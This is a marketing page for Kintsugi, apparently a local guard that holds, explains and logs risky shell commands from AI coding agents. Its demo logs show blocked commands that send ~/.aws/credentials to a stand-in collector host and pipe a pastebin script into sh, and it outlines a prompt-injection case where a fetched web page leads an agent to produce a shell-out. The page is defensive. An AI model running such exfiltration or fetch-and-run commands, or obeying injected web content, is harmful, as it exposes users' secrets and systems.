Local-first safety for AI coding agents

Let AI agents move fast —
without wrecking
the machine.

Kintsugi is the seatbelt between your AI agents and your system. It catches the dangerous command before it runs, explains it in one sentence, makes it reversible, and keeps a tamper-evident record of everything every agent did.

Download the app Star on GitHub

$ curl -fsSL https://kintsugi.tools/install.sh | sh

0 / 176 dangerous commands leaked 1.4M fuzz inputs, 0 crashes 0 cloud · 0 telemetry

AI agents now run real shell commands on your computer — rm -rf, git push --force, DROP TABLE. Almost always that's fine. The one time it isn't, there's no undo — and you find out after.

HOW IT WORKS

One dangerous command, caught in flight

A real interception, start to finish. Most held commands are grey-area calls you clear in a click — the rare catastrophic one you deny cold. Every decision lands on a tamper-evident log you own.

cursor — agent session

                                        › clean up the stale build output before
                                        redeploy
                                    
                                        ⏵ Removing ./dist so the next build is
                                        clean…
                                    
                                        $ 
                                    
                                        ⚠ irreversible delete —
                                        ./dist
                                        · held for your OK

Kintsugi · command held AMBIGUOUS · 30/100

                                        rm -rf ./dist
                                    

WHAT IT DOES

Deletes your local ./dist build folder. Almost always fine to rebuild — held only because the delete can't be undone.

rule: ambiguous:rm agent: Cursor

APPROVED

Kintsugi · command held CATASTROPHIC

                                        rm -rf src
                                    

WHAT IT DOES

Deletes your entire src/ folder. Kintsugi snapshots it first — so you can run it yourself and still roll back.

rule: rm:recursive snapshot: ready agent: Claude Code

SNAPSHOTTED

Tamper-evident timeline chain verified

↺

                                                rm -rf src
                                            

ran by you · snapshot saved · reversible · Claude Code · 14:32:07

a3f1 → 7b9c → e02d

                                                curl …evil-collector.net -d
                                                @~/.aws/credentials
                                            

blocked · secret-read · Claude Code · 14:31:50

✓

                                                npm run build
                                            

allowed · Claude Code · 14:31:22

snapshot · before rm -rf src

248 files secured

restored

kintsugi undo — nothing is ever unrecoverable

Your agents run commands all day — most are harmless and fly straight through.

The grey-area ones — by far the most common — are held for a one-line, plain-English call.

A catastrophic command is held too — deny it, or run it yourself. Either way, Kintsugi snapshots first.

Every decision lands on a hash-chained log that can't be quietly edited.

Snapshotted before it ran — so even a catastrophic command is one click from undone.

THE CONTROL ROOM

A native desktop app for every agent on your box

macOS, Windows & Linux — running in-process with the engine, no extra daemon. Click a screen in the sidebar to explore it.

Kintsugi — Control Room

EVERYDAY

RECORDS

Protected

Running in the background

Control Room

Live decisions across every agent

Protected

1,284

Commands today

Needs review

Blocked

Undo points

RECENT ACTIVITY

✕Stopped your AWS keys being sent to an unknown serverClaude Code · 14:32

❙Force-push to main — waiting for your OKCursor · 14:31

✓Cleared the build cacheClaude Code · 14:30

✓Ran the test suiteCodex CLI · 14:27

CATASTROPHICForce-push to mainCursor · 14:31

                                                    git push --force origin main
                                                

Overwrites shared history on main — teammates' work could be lost.

CATASTROPHICDrop database tableCodex CLI · 14:29

                                                    psql -c 'DROP TABLE
                                                    sessions'
                                                

Permanently deletes the sessions table and everyone's login state.

TIMECOMMANDAGENTRISKDECISION

14:32:07curl …evil-collector.net -d @~/.aws/credentialsClaude Codecatastrophic✕ blocked

14:31:50git push --force origin mainCursorcatastrophic❙ held

14:31:22npm run buildClaude Codesafe✓ allowed

14:30:31rm -rf node_modules/.cacheClaude Codeambiguous✓ allowed

14:29:44wget pastebin.io/r/x.sh -O - | shCursorcatastrophic✕ blocked

14:29:10psql -c 'DROP TABLE sessions'Codex CLIcatastrophic❙ held

14:28:11[WebFetch] docs.acme-plugins.io/setupClaude Codetaint: web◌ observed

EXPLAINED BEFORE YOU DECIDE

When a command is ambiguous, you get a plain-English summary — not a cryptic diff

For the grey-area band between safe and catastrophic, a warm local scorer writes one human sentence about what the command actually does and attaches a risk score. It runs on your CPU — heuristic by default, a real local GGUF model if you want one. No cloud, ever.

Escalation-only

The model can only add caution. It never downgrades a deterministic rules verdict.

The raw command is always shown verbatim

The model explains; it never paraphrases away what you're approving.

Works with no model at all

Ships with an offline heuristic scorer; the model just sharpens the summary.

Allow Claude to run “Find Held screen render”?

Find Held screen render

Kintsugi flagged this as ambiguous (rule: ambiguous:cd) — It changes to a folder with code files and searches for specific lines that might relate to a feature or bug, then shows only the first few matches. [risk 30/100]. Approve only if you intended this.

                        cd /Users/p0is0n/GitHub/kintsugi/desktop-dx &&
                        grep -n 'pub fn Held\|rows.is_empty\|Loading the review'
                        src/components/screens.rs | head
                    

PROVENANCE · WHERE IT CAME FROM

A command is only as trustworthy as its source

Prompt injection rarely comes from you. Kintsugi tags where every instruction originated — a web page, an MCP tool, a file — so a command born from untrusted content is treated with suspicion, even when it looks ordinary.

Web page

                                        docs.acme-plugins.io
                                    

MCP tool

                                        jira · read ticket
                                    

taint: web

AI agent

Claude Code

                                curl …/x.sh | sh
                            

✕ blockedweb-tainted

Because the instruction traces back to a web page the agent fetched — not to you — Kintsugi holds the shell-out it produced. The full chain is on the Where it came from screen, so you can see exactly what convinced the agent to act.

DETERMINISTIC BY DESIGN

The block decision is rules — never an LLM guessing

A human-written rule engine decides what's catastrophic, so a block is predictable and can't be talked out of by a clever prompt. What makes it trustworthy is how it reads a command.

It parses real shell structure, not text

A fast tokenizer and a true bash AST parser run; Kintsugi takes the more cautious verdict. So echo "$(rm -rf /)" is caught — not waved through.

It fails toward caution

A line the parser can't fully understand is held, never assumed safe. The hard rule, enforced by a golden corpus: zero catastrophic-classified-as-safe.

Calm until it must shout

Safe commands fly through in well under a millisecond. Kintsugi only interrupts for the ones that can actually hurt you.

kintsugi test — runs nothing

                            $ kintsugi test
                            "cd build && rm -rf ../dist"
                        
                            ⛔ CATASTROPHIC
                            — rule: rm:recursive
                        
                            $ kintsugi test
                            "git status"
                        
✓ SAFE

                            $ kintsugi test
                            'echo "$(git push --force)"'
                        
                            ⛔ CATASTROPHIC
                            — caught inside the substitution

MEASURED, NOT CLAIMED

An adversarial assessment — every figure reproduced by a committed test

0 / 176

dangerous commands leak to Safe
across MITRE ATT&CK + GTFOBins

1.4M

fuzz inputs, no crash
(a real heap-DoS found & fixed)

known CVEs
in the dependency tree

unsafe blocks
in the entire codebase

AGENT-AGNOSTIC

Works with every agent — and your shell

Protection lives at the process layer, not inside any one tool. kintsugi init wires every installed agent's native pre-tool hook in one command.

Claude Code

                            PreToolUse hook
                        

Cursor CLI

                            beforeShellExecution
                        

Codex CLI

                            PreToolUse hook
                        

Gemini CLI

                            BeforeTool hook
                        

Qwen Code

                            PreToolUse hook
                        

Copilot CLI

                            preToolUse · fail-closed
                        

OpenCode

                            execute.before plugin
                        

Antigravity

                            PreToolUse plugin
                        

Any MCP client

                            kintsugi-exec server
                        

Any shell

                            $PATH shim
                        

ENTERPRISE · MANAGED POSTURE

For shared and production hosts

kintsugi init --enterprise adds admin controls a DBA or operator can stand behind — without giving up local-first.

Password-locked settings + “password to stop”

Stopping, unhooking, or disabling Kintsugi requires an admin password — enforced daemon-side via challenge-response, with brute-force lockout. An agent or normal user can't quietly turn it off.

Auto-restart watchdog + fail-closed

Runs under systemd / launchd with restart-always — a kill relaunches it in seconds. With fail-closed set, an unreachable daemon blocks rather than runs unguarded.

Passive session recorder + recoverer

A preexec hook lands every command a human runs on the same tamper-evident log, and snapshots destructive ones just-in-time — so kintsugi undo rolls back a person's rm -rf too.

Control-room TUI & desktop app

A branded kintsugi tui and the native desktop Control Room give one screen to manage everything — tray status, hook panel, model search, password-gated uninstall.

Get the seatbelt on

One command. It works immediately — no model, no account, nothing leaves your machine.

curl -fsSL
                            https://kintsugi.tools/install.sh
                            | sh

Prefer Cargo? cargo install kintsugi · MIT-licensed · no account, no telemetry, nothing leaves your machine.
Served over HTTPS. Every release ships a SHA256SUMS — verify with shasum -a 256 -c SHA256SUMS. The install script checks it automatically and refuses on a mismatch.

Let AI agents move fast —without wreckingthe machine.